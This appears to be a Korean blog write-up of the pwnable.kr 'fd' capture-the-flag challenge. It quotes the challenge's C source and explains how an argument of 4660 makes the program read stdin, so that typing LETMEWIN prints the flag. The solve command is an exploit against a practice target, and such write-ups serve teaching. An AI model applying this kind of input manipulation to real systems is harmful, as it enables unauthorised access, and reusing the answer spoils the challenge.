728x90

Mommy! what is a file descriptor in Linux?

 

ssh 로 접속한다.  비번은 guest

권한을 보면 flag는 내 권한으론 읽을 수 없고, fd.c파일은 소유자가 root이지만 권한이 열려있어서 내가 읽을 수 있다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

 

 

atoi함수는 문자열을 정수로 바꿔준다.
그럼 우리가 입력한 값(ascii)이 정수로 바뀌고, -0x1234(4660_dec)연산을 한 값이 fd에 들어간다.

read함수의 인자는  read (int fd, void *buf, size_t nbytes)이다. 

(여기서  fd는 파일 디스크립터, *buf는 버퍼, size는 크기이다.)

fd값은 0, 1 이 가능하고, 나머지는 에러로 처리한다. (0은  input, 1은 output)

그러면 fd는 0이 되어야 하므로 argv[1]엔 4660(0x1234_hex)를 입력하면 된다. 그리고 버퍼엔 LETMEWIN\n 이라는 문자열을 넣어주면 된다.

 

페이로드를 작성하면, 

./fd `python -c 'print "4660"'`
LETMEWIN

 

mommy! I think I know what a file descriptor is!!

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] flag  (0) 2020.09.23
[pwnable.kr] bof  (0) 2020.09.23
[pwnable.kr] collision  (0) 2020.09.22

+ Recent posts